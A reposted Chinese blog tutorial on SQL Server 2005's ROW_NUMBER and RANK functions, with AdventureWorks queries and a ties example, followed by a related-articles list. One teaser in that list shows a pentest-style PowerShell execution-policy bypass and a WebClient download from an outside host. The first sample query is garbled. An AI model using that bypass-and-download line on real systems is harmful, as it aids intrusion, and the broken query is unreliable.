SQL Server 2005中的ROW_NUMBER和RANK

下面介绍两个SQL Server 2005 中的新东东:
ROW_NUMBER
返回结果集分区内行的序列号,每个分区的第一行从 1 开始。

语法:
ROW_NUMBER ( )     OVER ( [ <partition_by_clause> ] <order_by_clause> )

备注:
ORDER BY 子句可确定在特定分区中为行分配唯一 ROW_NUMBER 的顺序。

参数:
<partition_by_clause>
将 FROM 子句生成的结果集划入应用了 ROW_NUMBER 函数的分区。
<order_by_clause>
确定将 ROW_NUMBER 值分配给分区中的行的顺序。

返回类型:
bigint

示例:
以下示例将根据年初至今的销售额,返回 AdventureWorks 中销售人员的 ROW_NUMBER
USE AdventureWorks
GO
SELECT c.FirstName, c.LastName, ROW_NUMBER() OVER(ORDER BY SalesYTD DESCAS 'Row Number', s.SalesYTD, a.PostalCode
FROM Sales.SalesPerson s JOIN Person.Contact c on s.SalesPersonID = c.ContactID
JOIN Person.Address a ON a.AddressID = c.ContactID
WHERE TerritoryID IS NOT NULL AND SalesYTD <> 0


以下示例将返回行号为 5060(含)的行,并以 OrderDate 排序。
USE AdventureWorks;
GO
WITH OrderedOrders AS
(
SELECT SalesOrderID, OrderDate,
ROW_NUMBER() 
OVER (order by OrderDate)as RowNumber
FROM Sales.SalesOrderHeader ) 
SELECT * 
FROM OrderedOrders 
WHERE RowNumber between 50 and 60;

RANK
返回结果集的分区内每行的排名。行的排名是相关行之前的排名数加一。

语法:
RANK ( )    OVER ( [ < partition_by_clause > ] < order_by_clause > )

备注:
如果两个或多个行与一个排名关联,则每个关联行将得到相同的排名。例如,如果两位顶尖销售员具有同样的 SalesYTD 值,他们将并列第一。由于已有两行排名在前,所以具有下一个最大 SalesYTD 的销售人员将排名第三。因此,RANK 函数并不总返回连续整数。

用于整个查询的排序顺序决定了行在结果集中的显示顺序。这也隐含了行在每个分区中的排名。

参数:
< partition_by_clause >
将 FROM 子句生成的结果集划分为要应用 RANK 函数的分区。
< order_by_clause >
确定将 RANK 值应用于分区中的行时所基于的顺序。

返回类型:
bigint

示例:
以下示例按照数量对清单中的产品进行了排名。行集按 LocationID 分区,按 Quantity 排序。

USE AdventureWorks;
GO
SELECT i.ProductID, p.Name, i.LocationID, i.Quantity, RANK() OVER (PARTITION BY i.LocationID order by i.Quantity) as RANK
FROM Production.ProductInventory i JOIN Production.Product p 
ON i.ProductID = p.ProductID
ORDER BY p.Name
GO

下面是和朋友讨论的一个小例子,不知道对不对,大家指教啊:
一个记录集{1,1,1,4,4,4,7,7,7,7,7,7,7,7,7}
当用 rank between 1 and 10 过滤 {1,1,1,4,4,4,7,7,7,7,7,7,7,7,7}时,就会得到超过十条的记录
用rownumber between 1 and 10得到的是{1,1,1,4,4,4,7,7,7,7}
也就是说:
用rank就是同样的记录看作是进行一个排名,得到的有可能大于10条
例如:比赛中第一名1个,第二名1个,第三名3个,下一个人就不是第四名而是第六名
 

人员<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

名次

A

1

B

2

C

3

D

3

E

3

F

6

G

7

H

8

I

9

J

10


如果用rank就是从这个记录集中选出结果,例如前4名我们得到的是如下结果:
 

人员

名次

A

1

B

2

C

3

D

3

E

3

F

6


而rownumber不管重复仅得到4条而已,结果如下:
 

人员

名次

A

1

B

2

C

3

D

3

转载于:https://www.cnblogs.com/Bear-Study-Hard/archive/2006/02/09/327723.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424209.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day33-1 线程队列

线程队列 线程队列就是一个普通的容器&#xff0c;使用import queue&#xff0c;用法与进程Queue一样 先进先出 from queue import Queueq Queue() q.put(2) q.put(a) q.put((2, 1))print(q.get()) # 2 print(q.get()) # a print(q.get()) # (2, 1) 后进先出&#xff1a;…

51. N-Queens

文章目录1 题目理解2 回溯2.1 直观解法2.2 按行遍历1 题目理解 The n-queens puzzle is the problem of placing n queens on an n x n chessboard such that no two queens attack each other. Given an integer n, return all distinct solutions to the n-queens puzzle. …

第一百零一期:如何处理ASP .NET Core中的cookie?

本文介绍了ASP.NET Core Web应用程序中利用cookie存储和检索针对特定用户的信息。 作者&#xff1a;布加迪编译 【51CTO.com快译】cookie是通常用于存储有关用户信息的一条数据&#xff0c;存储在用户的计算机上。在大多数浏览器中&#xff0c;每个cookie都存储为一个小文件&a…

男生给女生最牛B的告白

1、别以为平胸就说明自己有脑&#xff0c;别以为自己笨就一定丰满。基本上没有男人会笨到认为脑子和胸部有任何联系. 2、爱不爱你&#xff1f;别tm一直问偶这个问题。什么也不说&#xff0c;你丫哭&#xff1b;犹豫了一会说&#xff0c;你丫说不坚决&#xff1b;脱口而出你丫又…

四、COSMIC功能点实操

一、识别功能处理 二、识别功能处理的数据对象 三、识别数据对象的数据移动 四、要点规则 1.消息提示&#xff1a;一个功能处理的所有消息提示作为一个X&#xff0c;如果涉及到动态的提示单独作为一个X 2.分析功能是新增的还是修改的&#xff0c;新增功能的数据运算都不算功能点…

第一百零二期:5G套餐到底该不该换?看完你就明白啦!

日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自的5G资费套餐。毫无意外&#xff0c;正式公布出来的套餐内容&#xff0c;和之前运营商内部泄露的内容完全一致。 作者&#xff1a;小枣君 日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自…

79. Word Search

文章目录1题目理解2 回溯3 212 word search II1题目理解 Given an m x n board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cells, where “adjacent” cells are horizontally or vertically ne…

怀念西电北门的石凳(转载)

想起1996年某个春天的清晨<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />那个被我叫做小可的女生和我坐在北门里的石凳上让我帮她讲数学&#xff5e;清晨的风清凉地流着&#xff5e;划过记忆里永远不曾尘封的忧伤&#xff5e;感…

内网文件传输

转自&#xff1a;https://github.com/l3m0n/pentest_study windows下文件传输 1、powershell文件下载 powershell突破限制执行&#xff1a;powershell -ExecutionPolicy Bypass -File .\1.ps1 $d New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/fil…

127. Word Ladder

文章目录1 题目理解2 BFS3 双向BFS1 题目理解 给定两个单词&#xff08;beginWord 和 endWord&#xff09;和一个字典&#xff0c;找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则&#xff1a; 每次转换只能改变一个字母。 转换过程中的中间单词必须是…

关于DataAdapter打开和关闭连接

今天看书的时候,终于看明白了DataAdapter相关的打开和关闭连接的问题DataAdapter使用的时候可以不显示的打开或关闭连接,这是因为DataAdapter能够自动的处理该任务.如果在调用Fill方法的时候连接是关闭的,则连接会自动打开,然后从数据库中把数据记录填充到DataSet中,接着连接会…

讨论ALL_ROWS模式和FIRST_ROWS模式

在CBO的优化模式下&#xff0c;我们可以使用optimizer_mode参数控制优化模式。主要有两种模式&#xff0c;一种是ALL_ROWS模式&#xff0c;另外一种是FIRST_ROWS模式。 ALL_ROWS模式适用场景&#xff1a;希望优化程序给出一种尽快得到全部记录的执行计划&#xff0c;目标是增加…

第一百零三期:解读回归测试:类型、选择、挑战和实践

本文介绍了回归测试的基本概念、工作方式、面临的挑战、以及业界的优秀实践。 作者&#xff1a;陈峻编译 【51CTO.com快译】有研究表明&#xff1a;在安装了新的应用程序之后&#xff0c;只有四分之一的用户会在次日回到该应用。而大多数用户在首次使用之后就直接将其卸载掉了…

126. Word Ladder II

文章目录1 题目理解2 BFS1 题目理解 题目要求和127是一样的。返回值不一样。返回值要求把最短路径的&#xff0c;具体路径输出。 Input: beginWord “hit”, endWord “cog”, wordList [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] Output: [ [“hit”,“hot”,“…

如何构建积木式Web应用

上下文基本上我们在儿童时代都玩过积木玩具。通过一块块的积木&#xff0c;再加上我们的想象力&#xff0c;就可以构造出非常多不同的风格的建筑。那么&#xff0c; 我们可不可以把这种搭积木的方式应用到我们的web应用上呢。问题web应用通过提供给用户一整套组件&#xff08;相…

第一百零四期:搞清这些陷阱,NULL和三值逻辑再也不作妖

NULL 用于表示缺失的值或遗漏的未知数据&#xff0c;不是某种具体类型的值。数据表中的 NULL 值表示该值所处的字段为空&#xff0c;值为 NULL 的字段没有值&#xff0c;尤其要明白的是&#xff1a;NULL 值与 0 或者空字符串是不同的。 作者&#xff1a;youzhibing2904 NULL …

752. Open the Lock

文章目录1 题目理解2 BFS3 用int构建状态1 题目理解 一个钟表有4个槽&#xff0c;每个槽可以停在0-9&#xff0c;10个状态。钟表每个槽的轮子可以转&#xff0c;例如可以从0转到9&#xff0c;也可以从0转到1。 钟表的起始状态是"0000"。每个数字代表一个槽的状态。 …

移动开发 视频收集

构建基于SQL CE的移动方案http://download.chinaitlab.com/video/files/8282.html转载于:https://www.cnblogs.com/Regal/archive/2006/03/23/356800.html

移动混合开发之android文件管理新建文件和删除文件

今天经过一天超过8小时的实践&#xff0c;有很多CSS上的细节需要注意&#xff1a; 1&#xff0c; /*注意是对before的操作*/ .content ul li .icon-check-empty:before{display: block;/*webFont设置其width和height时无效,只有设置font-size*//*width: 3rem;*//*height: 3rem;…

spring mvc学习(19):cookievalue注解(显示cookie的值,默认必须有值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…